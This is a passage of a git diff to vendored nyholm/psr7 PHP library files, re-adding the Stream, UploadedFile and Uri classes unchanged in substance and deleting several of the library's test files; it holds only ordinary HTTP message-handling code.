bool - { - return !$this->stream || \feof($this->stream); - } - - public function isSeekable(): bool - { - return $this->seekable; - } - - public function seek($offset, $whence = \SEEK_SET): void - { - if (!$this->seekable) { - throw new \RuntimeException('Stream is not seekable'); - } - - if (-1 === \fseek($this->stream, $offset, $whence)) { - throw new \RuntimeException('Unable to seek to stream position "' . $offset . '" with whence ' . \var_export($whence, true)); - } - } - - public function rewind(): void - { - $this->seek(0); - } - - public function isWritable(): bool - { - return $this->writable; - } - - public function write($string): int - { - if (!$this->writable) { - throw new \RuntimeException('Cannot write to a non-writable stream'); - } - - // We can't know the size after writing anything - $this->size = null; - - if (false === $result = \fwrite($this->stream, $string)) { - throw new \RuntimeException('Unable to write to stream'); - } - - return $result; - } - - public function isReadable(): bool - { - return $this->readable; - } - - public function read($length): string - { - if (!$this->readable) { - throw new \RuntimeException('Cannot read from non-readable stream'); - } - - if (false === $result = \fread($this->stream, $length)) { - throw new \RuntimeException('Unable to read from stream'); - } - - return $result; - } - - public function getContents(): string - { - if (!isset($this->stream)) { - throw new \RuntimeException('Unable to read stream contents'); - } - - if (false === $contents = \stream_get_contents($this->stream)) { - throw new \RuntimeException('Unable to read stream contents'); - } - - return $contents; - } - - public function getMetadata($key = null) - { - if (!isset($this->stream)) { - return $key ? null : []; - } - - $meta = \stream_get_meta_data($this->stream); - - if (null === $key) { - return $meta; - } - - return $meta[$key] ?? null; - } -} + + * @author Martijn van der Ven + * + * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md + */ +class Stream implements StreamInterface +{ + /** @var resource|null A resource reference */ + private $stream; + + /** @var bool */ + private $seekable; + + /** @var bool */ + private $readable; + + /** @var bool */ + private $writable; + + /** @var array|mixed|void|bool|null */ + private $uri; + + /** @var int|null */ + private $size; + + /** @var array Hash of readable and writable stream types */ + private const READ_WRITE_HASH = [ + 'read' => [ + 'r' => true, 'w+' => true, 'r+' => true, 'x+' => true, 'c+' => true, + 'rb' => true, 'w+b' => true, 'r+b' => true, 'x+b' => true, + 'c+b' => true, 'rt' => true, 'w+t' => true, 'r+t' => true, + 'x+t' => true, 'c+t' => true, 'a+' => true, + ], + 'write' => [ + 'w' => true, 'w+' => true, 'rw' => true, 'r+' => true, 'x+' => true, + 'c+' => true, 'wb' => true, 'w+b' => true, 'r+b' => true, + 'x+b' => true, 'c+b' => true, 'w+t' => true, 'r+t' => true, + 'x+t' => true, 'c+t' => true, 'a' => true, 'a+' => true, + ], + ]; + + private function __construct() + { + } + + /** + * Creates a new PSR-7 stream. + * + * @param string|resource|StreamInterface $body + * + * @throws \InvalidArgumentException + */ + public static function create($body = ''): StreamInterface + { + if ($body instanceof StreamInterface) { + return $body; + } + + if (\is_string($body)) { + $resource = \fopen('php://temp', 'rw+'); + \fwrite($resource, $body); + $body = $resource; + } + + if (\is_resource($body)) { + $new = new self(); + $new->stream = $body; + $meta = \stream_get_meta_data($new->stream); + $new->seekable = $meta['seekable'] && 0 === \fseek($new->stream, 0, \SEEK_CUR); + $new->readable = isset(self::READ_WRITE_HASH['read'][$meta['mode']]); + $new->writable = isset(self::READ_WRITE_HASH['write'][$meta['mode']]); + + return $new; + } + + throw new \InvalidArgumentException('First argument to Stream::create() must be a string, resource or StreamInterface.'); + } + + /** + * Closes the stream when the destructed. + */ + public function __destruct() + { + $this->close(); + } + + /** + * @return string + */ + public function __toString() + { + try { + if ($this->isSeekable()) { + $this->seek(0); + } + + return $this->getContents(); + } catch (\Throwable $e) { + if (\PHP_VERSION_ID >= 70400) { + throw $e; + } + + if (\is_array($errorHandler = \set_error_handler('var_dump'))) { + $errorHandler = $errorHandler[0] ?? null; + } + \restore_error_handler(); + + if ($e instanceof \Error || $errorHandler instanceof SymfonyErrorHandler || $errorHandler instanceof SymfonyLegacyErrorHandler) { + return \trigger_error((string) $e, \E_USER_ERROR); + } + + return ''; + } + } + + public function close(): void + { + if (isset($this->stream)) { + if (\is_resource($this->stream)) { + \fclose($this->stream); + } + $this->detach(); + } + } + + public function detach() + { + if (!isset($this->stream)) { + return null; + } + + $result = $this->stream; + unset($this->stream); + $this->size = $this->uri = null; + $this->readable = $this->writable = $this->seekable = false; + + return $result; + } + + private function getUri() + { + if (false !== $this->uri) { + $this->uri = $this->getMetadata('uri') ?? false; + } + + return $this->uri; + } + + public function getSize(): ?int + { + if (null !== $this->size) { + return $this->size; + } + + if (!isset($this->stream)) { + return null; + } + + // Clear the stat cache if the stream has a URI + if ($uri = $this->getUri()) { + \clearstatcache(true, $uri); + } + + $stats = \fstat($this->stream); + if (isset($stats['size'])) { + $this->size = $stats['size']; + + return $this->size; + } + + return null; + } + + public function tell(): int + { + if (false === $result = \ftell($this->stream)) { + throw new \RuntimeException('Unable to determine stream position'); + } + + return $result; + } + + public function eof(): bool + { + return !$this->stream || \feof($this->stream); + } + + public function isSeekable(): bool + { + return $this->seekable; + } + + public function seek($offset, $whence = \SEEK_SET): void + { + if (!$this->seekable) { + throw new \RuntimeException('Stream is not seekable'); + } + + if (-1 === \fseek($this->stream, $offset, $whence)) { + throw new \RuntimeException('Unable to seek to stream position "' . $offset . '" with whence ' . \var_export($whence, true)); + } + } + + public function rewind(): void + { + $this->seek(0); + } + + public function isWritable(): bool + { + return $this->writable; + } + + public function write($string): int + { + if (!$this->writable) { + throw new \RuntimeException('Cannot write to a non-writable stream'); + } + + // We can't know the size after writing anything + $this->size = null; + + if (false === $result = \fwrite($this->stream, $string)) { + throw new \RuntimeException('Unable to write to stream'); + } + + return $result; + } + + public function isReadable(): bool + { + return $this->readable; + } + + public function read($length): string + { + if (!$this->readable) { + throw new \RuntimeException('Cannot read from non-readable stream'); + } + + if (false === $result = \fread($this->stream, $length)) { + throw new \RuntimeException('Unable to read from stream'); + } + + return $result; + } + + public function getContents(): string + { + if (!isset($this->stream)) { + throw new \RuntimeException('Unable to read stream contents'); + } + + if (false === $contents = \stream_get_contents($this->stream)) { + throw new \RuntimeException('Unable to read stream contents'); + } + + return $contents; + } + + public function getMetadata($key = null) + { + if (!isset($this->stream)) { + return $key ? null : []; + } + + $meta = \stream_get_meta_data($this->stream); + + if (null === $key) { + return $meta; + } + + return $meta[$key] ?? null; + } +} diff --git a/vendor/nyholm/psr7/src/UploadedFile.php b/vendor/nyholm/psr7/src/UploadedFile.php index 464f69842b..198cd33860 100644 --- a/vendor/nyholm/psr7/src/UploadedFile.php +++ b/vendor/nyholm/psr7/src/UploadedFile.php @@ -1,180 +1,180 @@ - - * @author Martijn van der Ven - * - * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md - */ -class UploadedFile implements UploadedFileInterface -{ - /** @var array */ - private const ERRORS = [ - \UPLOAD_ERR_OK => 1, - \UPLOAD_ERR_INI_SIZE => 1, - \UPLOAD_ERR_FORM_SIZE => 1, - \UPLOAD_ERR_PARTIAL => 1, - \UPLOAD_ERR_NO_FILE => 1, - \UPLOAD_ERR_NO_TMP_DIR => 1, - \UPLOAD_ERR_CANT_WRITE => 1, - \UPLOAD_ERR_EXTENSION => 1, - ]; - - /** @var string */ - private $clientFilename; - - /** @var string */ - private $clientMediaType; - - /** @var int */ - private $error; - - /** @var string|null */ - private $file; - - /** @var bool */ - private $moved = false; - - /** @var int */ - private $size; - - /** @var StreamInterface|null */ - private $stream; - - /** - * @param StreamInterface|string|resource $streamOrFile - * @param int $size - * @param int $errorStatus - * @param string|null $clientFilename - * @param string|null $clientMediaType - */ - public function __construct($streamOrFile, $size, $errorStatus, $clientFilename = null, $clientMediaType = null) - { - if (false === \is_int($errorStatus) || !isset(self::ERRORS[$errorStatus])) { - throw new \InvalidArgumentException('Upload file error status must be an integer value and one of the "UPLOAD_ERR_*" constants.'); - } - - if (false === \is_int($size)) { - throw new \InvalidArgumentException('Upload file size must be an integer'); - } - - if (null !== $clientFilename && !\is_string($clientFilename)) { - throw new \InvalidArgumentException('Upload file client filename must be a string or null'); - } - - if (null !== $clientMediaType && !\is_string($clientMediaType)) { - throw new \InvalidArgumentException('Upload file client media type must be a string or null'); - } - - $this->error = $errorStatus; - $this->size = $size; - $this->clientFilename = $clientFilename; - $this->clientMediaType = $clientMediaType; - - if (\UPLOAD_ERR_OK === $this->error) { - // Depending on the value set file or stream variable. - if (\is_string($streamOrFile)) { - $this->file = $streamOrFile; - } elseif (\is_resource($streamOrFile)) { - $this->stream = Stream::create($streamOrFile); - } elseif ($streamOrFile instanceof StreamInterface) { - $this->stream = $streamOrFile; - } else { - throw new \InvalidArgumentException('Invalid stream or file provided for UploadedFile'); - } - } - } - - /** - * @throws \RuntimeException if is moved or not ok - */ - private function validateActive(): void - { - if (\UPLOAD_ERR_OK !== $this->error) { - throw new \RuntimeException('Cannot retrieve stream due to upload error'); - } - - if ($this->moved) { - throw new \RuntimeException('Cannot retrieve stream after it has already been moved'); - } - } - - public function getStream(): StreamInterface - { - $this->validateActive(); - - if ($this->stream instanceof StreamInterface) { - return $this->stream; - } - - try { - return Stream::create(\fopen($this->file, 'r')); - } catch (\Throwable $e) { - throw new \RuntimeException(\sprintf('The file "%s" cannot be opened.', $this->file)); - } - } - - public function moveTo($targetPath): void - { - $this->validateActive(); - - if (!\is_string($targetPath) || '' === $targetPath) { - throw new \InvalidArgumentException('Invalid path provided for move operation; must be a non-empty string'); - } - - if (null !== $this->file) { - $this->moved = 'cli' === \PHP_SAPI ? \rename($this->file, $targetPath) : \move_uploaded_file($this->file, $targetPath); - } else { - $stream = $this->getStream(); - if ($stream->isSeekable()) { - $stream->rewind(); - } - - try { - // Copy the contents of a stream into another stream until end-of-file. - $dest = Stream::create(\fopen($targetPath, 'w')); - } catch (\Throwable $e) { - throw new \RuntimeException(\sprintf('The file "%s" cannot be opened.', $targetPath)); - } - - while (!$stream->eof()) { - if (!$dest->write($stream->read(1048576))) { - break; - } - } - - $this->moved = true; - } - - if (false === $this->moved) { - throw new \RuntimeException(\sprintf('Uploaded file could not be moved to "%s"', $targetPath)); - } - } - - public function getSize(): int - { - return $this->size; - } - - public function getError(): int - { - return $this->error; - } - - public function getClientFilename(): ?string - { - return $this->clientFilename; - } - - public function getClientMediaType(): ?string - { - return $this->clientMediaType; - } -} + + * @author Martijn van der Ven + * + * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md + */ +class UploadedFile implements UploadedFileInterface +{ + /** @var array */ + private const ERRORS = [ + \UPLOAD_ERR_OK => 1, + \UPLOAD_ERR_INI_SIZE => 1, + \UPLOAD_ERR_FORM_SIZE => 1, + \UPLOAD_ERR_PARTIAL => 1, + \UPLOAD_ERR_NO_FILE => 1, + \UPLOAD_ERR_NO_TMP_DIR => 1, + \UPLOAD_ERR_CANT_WRITE => 1, + \UPLOAD_ERR_EXTENSION => 1, + ]; + + /** @var string */ + private $clientFilename; + + /** @var string */ + private $clientMediaType; + + /** @var int */ + private $error; + + /** @var string|null */ + private $file; + + /** @var bool */ + private $moved = false; + + /** @var int */ + private $size; + + /** @var StreamInterface|null */ + private $stream; + + /** + * @param StreamInterface|string|resource $streamOrFile + * @param int $size + * @param int $errorStatus + * @param string|null $clientFilename + * @param string|null $clientMediaType + */ + public function __construct($streamOrFile, $size, $errorStatus, $clientFilename = null, $clientMediaType = null) + { + if (false === \is_int($errorStatus) || !isset(self::ERRORS[$errorStatus])) { + throw new \InvalidArgumentException('Upload file error status must be an integer value and one of the "UPLOAD_ERR_*" constants.'); + } + + if (false === \is_int($size)) { + throw new \InvalidArgumentException('Upload file size must be an integer'); + } + + if (null !== $clientFilename && !\is_string($clientFilename)) { + throw new \InvalidArgumentException('Upload file client filename must be a string or null'); + } + + if (null !== $clientMediaType && !\is_string($clientMediaType)) { + throw new \InvalidArgumentException('Upload file client media type must be a string or null'); + } + + $this->error = $errorStatus; + $this->size = $size; + $this->clientFilename = $clientFilename; + $this->clientMediaType = $clientMediaType; + + if (\UPLOAD_ERR_OK === $this->error) { + // Depending on the value set file or stream variable. + if (\is_string($streamOrFile)) { + $this->file = $streamOrFile; + } elseif (\is_resource($streamOrFile)) { + $this->stream = Stream::create($streamOrFile); + } elseif ($streamOrFile instanceof StreamInterface) { + $this->stream = $streamOrFile; + } else { + throw new \InvalidArgumentException('Invalid stream or file provided for UploadedFile'); + } + } + } + + /** + * @throws \RuntimeException if is moved or not ok + */ + private function validateActive(): void + { + if (\UPLOAD_ERR_OK !== $this->error) { + throw new \RuntimeException('Cannot retrieve stream due to upload error'); + } + + if ($this->moved) { + throw new \RuntimeException('Cannot retrieve stream after it has already been moved'); + } + } + + public function getStream(): StreamInterface + { + $this->validateActive(); + + if ($this->stream instanceof StreamInterface) { + return $this->stream; + } + + try { + return Stream::create(\fopen($this->file, 'r')); + } catch (\Throwable $e) { + throw new \RuntimeException(\sprintf('The file "%s" cannot be opened.', $this->file)); + } + } + + public function moveTo($targetPath): void + { + $this->validateActive(); + + if (!\is_string($targetPath) || '' === $targetPath) { + throw new \InvalidArgumentException('Invalid path provided for move operation; must be a non-empty string'); + } + + if (null !== $this->file) { + $this->moved = 'cli' === \PHP_SAPI ? \rename($this->file, $targetPath) : \move_uploaded_file($this->file, $targetPath); + } else { + $stream = $this->getStream(); + if ($stream->isSeekable()) { + $stream->rewind(); + } + + try { + // Copy the contents of a stream into another stream until end-of-file. + $dest = Stream::create(\fopen($targetPath, 'w')); + } catch (\Throwable $e) { + throw new \RuntimeException(\sprintf('The file "%s" cannot be opened.', $targetPath)); + } + + while (!$stream->eof()) { + if (!$dest->write($stream->read(1048576))) { + break; + } + } + + $this->moved = true; + } + + if (false === $this->moved) { + throw new \RuntimeException(\sprintf('Uploaded file could not be moved to "%s"', $targetPath)); + } + } + + public function getSize(): int + { + return $this->size; + } + + public function getError(): int + { + return $this->error; + } + + public function getClientFilename(): ?string + { + return $this->clientFilename; + } + + public function getClientMediaType(): ?string + { + return $this->clientMediaType; + } +} diff --git a/vendor/nyholm/psr7/src/Uri.php b/vendor/nyholm/psr7/src/Uri.php index a991494a1e..13fbf72e7f 100644 --- a/vendor/nyholm/psr7/src/Uri.php +++ b/vendor/nyholm/psr7/src/Uri.php @@ -1,312 +1,312 @@ - - * @author Martijn van der Ven - * - * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md - */ -class Uri implements UriInterface -{ - private const SCHEMES = ['http' => 80, 'https' => 443]; - - private const CHAR_UNRESERVED = 'a-zA-Z0-9_\-\.~'; - - private const CHAR_SUB_DELIMS = '!\$&\'\(\)\*\+,;='; - - /** @var string Uri scheme. */ - private $scheme = ''; - - /** @var string Uri user info. */ - private $userInfo = ''; - - /** @var string Uri host. */ - private $host = ''; - - /** @var int|null Uri port. */ - private $port; - - /** @var string Uri path. */ - private $path = ''; - - /** @var string Uri query string. */ - private $query = ''; - - /** @var string Uri fragment. */ - private $fragment = ''; - - public function __construct(string $uri = '') - { - if ('' !== $uri) { - if (false === $parts = \parse_url($uri)) { - throw new \InvalidArgumentException(\sprintf('Unable to parse URI: "%s"', $uri)); - } - - // Apply parse_url parts to a URI. - $this->scheme = isset($parts['scheme']) ? \strtr($parts['scheme'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : ''; - $this->userInfo = $parts['user'] ?? ''; - $this->host = isset($parts['host']) ? \strtr($parts['host'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : ''; - $this->port = isset($parts['port']) ? $this->filterPort($parts['port']) : null; - $this->path = isset($parts['path']) ? $this->filterPath($parts['path']) : ''; - $this->query = isset($parts['query']) ? $this->filterQueryAndFragment($parts['query']) : ''; - $this->fragment = isset($parts['fragment']) ? $this->filterQueryAndFragment($parts['fragment']) : ''; - if (isset($parts['pass'])) { - $this->userInfo .= ':' . $parts['pass']; - } - } - } - - public function __toString(): string - { - return self::createUriString($this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment); - } - - public function getScheme(): string - { - return $this->scheme; - } - - public function getAuthority(): string - { - if ('' === $this->host) { - return ''; - } - - $authority = $this->host; - if ('' !== $this->userInfo) { - $authority = $this->userInfo . '@' . $authority; - } - - if (null !== $this->port) { - $authority .= ':' . $this->port; - } - - return $authority; - } - - public function getUserInfo(): string - { - return $this->userInfo; - } - - public function getHost(): string - { - return $this->host; - } - - public function getPort(): ?int - { - return $this->port; - } - - public function getPath(): string - { - return $this->path; - } - - public function getQuery(): string - { - return $this->query; - } - - public function getFragment(): string - { - return $this->fragment; - } - - public function withScheme($scheme): self - { - if (!\is_string($scheme)) { - throw new \InvalidArgumentException('Scheme must be a string'); - } - - if ($this->scheme === $scheme = \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) { - return $this; - } - - $new = clone $this; - $new->scheme = $scheme; - $new->port = $new->filterPort($new->port); - - return $new; - } - - public function withUserInfo($user, $password = null): self - { - $info = $user; - if (null !== $password && '' !== $password) { - $info .= ':' . $password; - } - - if ($this->userInfo === $info) { - return $this; - } - - $new = clone $this; - $new->userInfo = $info; - - return $new; - } - - public function withHost($host): self - { - if (!\is_string($host)) { - throw new \InvalidArgumentException('Host must be a string'); - } - - if ($this->host === $host = \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) { - return $this; - } - - $new = clone $this; - $new->host = $host; - - return $new; - } - - public function withPort($port): self - { - if ($this->port === $port = $this->filterPort($port)) { - return $this; - } - - $new = clone $this; - $new->port = $port; - - return $new; - } - - public function withPath($path): self - { - if ($this->path === $path = $this->filterPath($path)) { - return $this; - } - - $new = clone $this; - $new->path = $path; - - return $new; - } - - public function withQuery($query): self - { - if ($this->query === $query = $this->filterQueryAndFragment($query)) { - return $this; - } - - $new = clone $this; - $new->query = $query; - - return $new; - } - - public function withFragment($fragment): self - { - if ($this->fragment === $fragment = $this->filterQueryAndFragment($fragment)) { - return $this; - } - - $new = clone $this; - $new->fragment = $fragment; - - return $new; - } - - /** - * Create a URI string from its various parts. - */ - private static function createUriString(string $scheme, string $authority, string $path, string $query, string $fragment): string - { - $uri = ''; - if ('' !== $scheme) { - $uri .= $scheme . ':'; - } - - if ('' !== $authority) { - $uri .= '//' . $authority; - } - - if ('' !== $path) { - if ('/' !== $path[0]) { - if ('' !== $authority) { - // If the path is rootless and an authority is present, the path MUST be prefixed by "/" - $path = '/' . $path; - } - } elseif (isset($path[1]) && '/' === $path[1]) { - if ('' === $authority) { - // If the path is starting with more than one "/" and no authority is present, the - // starting slashes MUST be reduced to one. - $path = '/' . \ltrim($path, '/'); - } - } - - $uri .= $path; - } - - if ('' !== $query) { - $uri .= '?' . $query; - } - - if ('' !== $fragment) { - $uri .= '#' . $fragment; - } - - return $uri; - } - - /** - * Is a given port non-standard for the current scheme? - */ - private static function isNonStandardPort(string $scheme, int $port): bool - { - return !isset(self::SCHEMES[$scheme]) || $port !== self::SCHEMES[$scheme]; - } - - private function filterPort($port): ?int - { - if (null === $port) { - return null; - } - - $port = (int) $port; - if (0 > $port || 0xffff < $port) { - throw new \InvalidArgumentException(\sprintf('Invalid port: %d. Must be between 0 and 65535', $port)); - } - - return self::isNonStandardPort($this->scheme, $port) ? $port : null; - } - - private function filterPath($path): string - { - if (!\is_string($path)) { - throw new \InvalidArgumentException('Path must be a string'); - } - - return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $path); - } - - private function filterQueryAndFragment($str): string - { - if (!\is_string($str)) { - throw new \InvalidArgumentException('Query and fragment must be a string'); - } - - return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $str); - } - - private static function rawurlencodeMatchZero(array $match): string - { - return \rawurlencode($match[0]); - } -} + + * @author Martijn van der Ven + * + * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md + */ +class Uri implements UriInterface +{ + private const SCHEMES = ['http' => 80, 'https' => 443]; + + private const CHAR_UNRESERVED = 'a-zA-Z0-9_\-\.~'; + + private const CHAR_SUB_DELIMS = '!\$&\'\(\)\*\+,;='; + + /** @var string Uri scheme. */ + private $scheme = ''; + + /** @var string Uri user info. */ + private $userInfo = ''; + + /** @var string Uri host. */ + private $host = ''; + + /** @var int|null Uri port. */ + private $port; + + /** @var string Uri path. */ + private $path = ''; + + /** @var string Uri query string. */ + private $query = ''; + + /** @var string Uri fragment. */ + private $fragment = ''; + + public function __construct(string $uri = '') + { + if ('' !== $uri) { + if (false === $parts = \parse_url($uri)) { + throw new \InvalidArgumentException(\sprintf('Unable to parse URI: "%s"', $uri)); + } + + // Apply parse_url parts to a URI. + $this->scheme = isset($parts['scheme']) ? \strtr($parts['scheme'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : ''; + $this->userInfo = $parts['user'] ?? ''; + $this->host = isset($parts['host']) ? \strtr($parts['host'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : ''; + $this->port = isset($parts['port']) ? $this->filterPort($parts['port']) : null; + $this->path = isset($parts['path']) ? $this->filterPath($parts['path']) : ''; + $this->query = isset($parts['query']) ? $this->filterQueryAndFragment($parts['query']) : ''; + $this->fragment = isset($parts['fragment']) ? $this->filterQueryAndFragment($parts['fragment']) : ''; + if (isset($parts['pass'])) { + $this->userInfo .= ':' . $parts['pass']; + } + } + } + + public function __toString(): string + { + return self::createUriString($this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment); + } + + public function getScheme(): string + { + return $this->scheme; + } + + public function getAuthority(): string + { + if ('' === $this->host) { + return ''; + } + + $authority = $this->host; + if ('' !== $this->userInfo) { + $authority = $this->userInfo . '@' . $authority; + } + + if (null !== $this->port) { + $authority .= ':' . $this->port; + } + + return $authority; + } + + public function getUserInfo(): string + { + return $this->userInfo; + } + + public function getHost(): string + { + return $this->host; + } + + public function getPort(): ?int + { + return $this->port; + } + + public function getPath(): string + { + return $this->path; + } + + public function getQuery(): string + { + return $this->query; + } + + public function getFragment(): string + { + return $this->fragment; + } + + public function withScheme($scheme): self + { + if (!\is_string($scheme)) { + throw new \InvalidArgumentException('Scheme must be a string'); + } + + if ($this->scheme === $scheme = \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) { + return $this; + } + + $new = clone $this; + $new->scheme = $scheme; + $new->port = $new->filterPort($new->port); + + return $new; + } + + public function withUserInfo($user, $password = null): self + { + $info = $user; + if (null !== $password && '' !== $password) { + $info .= ':' . $password; + } + + if ($this->userInfo === $info) { + return $this; + } + + $new = clone $this; + $new->userInfo = $info; + + return $new; + } + + public function withHost($host): self + { + if (!\is_string($host)) { + throw new \InvalidArgumentException('Host must be a string'); + } + + if ($this->host === $host = \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) { + return $this; + } + + $new = clone $this; + $new->host = $host; + + return $new; + } + + public function withPort($port): self + { + if ($this->port === $port = $this->filterPort($port)) { + return $this; + } + + $new = clone $this; + $new->port = $port; + + return $new; + } + + public function withPath($path): self + { + if ($this->path === $path = $this->filterPath($path)) { + return $this; + } + + $new = clone $this; + $new->path = $path; + + return $new; + } + + public function withQuery($query): self + { + if ($this->query === $query = $this->filterQueryAndFragment($query)) { + return $this; + } + + $new = clone $this; + $new->query = $query; + + return $new; + } + + public function withFragment($fragment): self + { + if ($this->fragment === $fragment = $this->filterQueryAndFragment($fragment)) { + return $this; + } + + $new = clone $this; + $new->fragment = $fragment; + + return $new; + } + + /** + * Create a URI string from its various parts. + */ + private static function createUriString(string $scheme, string $authority, string $path, string $query, string $fragment): string + { + $uri = ''; + if ('' !== $scheme) { + $uri .= $scheme . ':'; + } + + if ('' !== $authority) { + $uri .= '//' . $authority; + } + + if ('' !== $path) { + if ('/' !== $path[0]) { + if ('' !== $authority) { + // If the path is rootless and an authority is present, the path MUST be prefixed by "/" + $path = '/' . $path; + } + } elseif (isset($path[1]) && '/' === $path[1]) { + if ('' === $authority) { + // If the path is starting with more than one "/" and no authority is present, the + // starting slashes MUST be reduced to one. + $path = '/' . \ltrim($path, '/'); + } + } + + $uri .= $path; + } + + if ('' !== $query) { + $uri .= '?' . $query; + } + + if ('' !== $fragment) { + $uri .= '#' . $fragment; + } + + return $uri; + } + + /** + * Is a given port non-standard for the current scheme? + */ + private static function isNonStandardPort(string $scheme, int $port): bool + { + return !isset(self::SCHEMES[$scheme]) || $port !== self::SCHEMES[$scheme]; + } + + private function filterPort($port): ?int + { + if (null === $port) { + return null; + } + + $port = (int) $port; + if (0 > $port || 0xffff < $port) { + throw new \InvalidArgumentException(\sprintf('Invalid port: %d. Must be between 0 and 65535', $port)); + } + + return self::isNonStandardPort($this->scheme, $port) ? $port : null; + } + + private function filterPath($path): string + { + if (!\is_string($path)) { + throw new \InvalidArgumentException('Path must be a string'); + } + + return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $path); + } + + private function filterQueryAndFragment($str): string + { + if (!\is_string($str)) { + throw new \InvalidArgumentException('Query and fragment must be a string'); + } + + return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $str); + } + + private static function rawurlencodeMatchZero(array $match): string + { + return \rawurlencode($match[0]); + } +} diff --git a/vendor/nyholm/psr7/tests/Factory/HttplugFactoryTest.php b/vendor/nyholm/psr7/tests/Factory/HttplugFactoryTest.php deleted file mode 100644 index d881b3fa6c..0000000000 --- a/vendor/nyholm/psr7/tests/Factory/HttplugFactoryTest.php +++ /dev/null @@ -1,63 +0,0 @@ -createRequest('POST', 'https://nyholm.tech', ['Content-Type' => 'text/html'], 'foobar', '2.0'); - - $this->assertEquals('POST', $r->getMethod()); - $this->assertEquals('https://nyholm.tech', $r->getUri()->__toString()); - $this->assertEquals('2.0', $r->getProtocolVersion()); - $this->assertEquals('foobar', $r->getBody()->__toString()); - - $headers = $r->getHeaders(); - $this->assertCount(2, $headers); // Including HOST - $this->assertArrayHasKey('Content-Type', $headers); - $this->assertEquals('text/html', $headers['Content-Type'][0]); - } - - public function testCreateResponse() - { - $factory = new HttplugFactory(); - $r = $factory->createResponse(217, 'Perfect', ['Content-Type' => 'text/html'], 'foobar', '2.0'); - - $this->assertEquals(217, $r->getStatusCode()); - $this->assertEquals('Perfect', $r->getReasonPhrase()); - $this->assertEquals('2.0', $r->getProtocolVersion()); - $this->assertEquals('foobar', $r->getBody()->__toString()); - - $headers = $r->getHeaders(); - $this->assertCount(1, $headers); - $this->assertArrayHasKey('Content-Type', $headers); - $this->assertEquals('text/html', $headers['Content-Type'][0]); - } - - public function testCreateStream() - { - $factory = new HttplugFactory(); - $stream = $factory->createStream('foobar'); - - $this->assertInstanceOf(StreamInterface::class, $stream); - $this->assertEquals('foobar', $stream->__toString()); - } - - public function testCreateUri() - { - $factory = new HttplugFactory(); - $uri = $factory->createUri('https://nyholm.tech/foo'); - - $this->assertInstanceOf(UriInterface::class, $uri); - $this->assertEquals('https://nyholm.tech/foo', $uri->__toString()); - } -} diff --git a/vendor/nyholm/psr7/tests/Factory/Psr17FactoryTest.php b/vendor/nyholm/psr7/tests/Factory/Psr17FactoryTest.php deleted file mode 100644 index 9ba03de3a7..0000000000 --- a/vendor/nyholm/psr7/tests/Factory/Psr17FactoryTest.php +++ /dev/null @@ -1,38 +0,0 @@ -createResponse(200); - $this->assertEquals('OK', $r->getReasonPhrase()); - - $r = $factory->createResponse(200, ''); - $this->assertEquals('', $r->getReasonPhrase()); - - $r = $factory->createResponse(200, 'Foo'); - $this->assertEquals('Foo', $r->getReasonPhrase()); - - /* - * Test for non-standard response codes - */ - $r = $factory->createResponse(567); - $this->assertEquals('', $r->getReasonPhrase()); - - $r = $factory->createResponse(567, ''); - $this->assertEquals(567, $r->getStatusCode()); - $this->assertEquals('', $r->getReasonPhrase()); - - $r = $factory->createResponse(567, 'Foo'); - $this->assertEquals(567, $r->getStatusCode()); - $this->assertEquals('Foo', $r->getReasonPhrase()); - } -} diff --git a/vendor/nyholm/psr7/tests/Integration/RequestTest.php b/vendor/nyholm/psr7/tests/Integration/RequestTest.php deleted file mode 100644 index 313d2a28d5..0000000000 --- a/vendor/nyholm/psr7/tests/Integration/RequestTest.php +++ /dev/null @@ -1,14 +0,0 @@ -createUploadedFile(Stream::create('writing to tempfile')); - } -} diff --git a/vendor/nyholm/psr7/tests/Integration/UriTest.php b/vendor/nyholm/psr7/tests/Integration/UriTest.php deleted file mode 100644 index c5bdeb6071..0000000000 --- a/vendor/nyholm/psr7/tests/Integration/UriTest.php +++ /dev/null @@ -1,14 +0,0 @@ -assertEquals('/', (string) $r->getUri()); - } - - public function testRequestUriMayBeUri() - { - $uri = new Uri('/'); - $r = new Request('GET', $uri); - $this->assertSame($uri, $r->getUri()); - } - - public function testValidateRequestUri() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Unable to parse URI: "///"'); - - new Request('GET', '///'); - } - - public function testCanConstructWithBody() - { - $r = new Request('GET', '/', [], 'baz'); - $this->assertInstanceOf(StreamInterface::class, $r->getBody()); - $this->assertEquals('baz', (string) $r->getBody()); - } - - public function 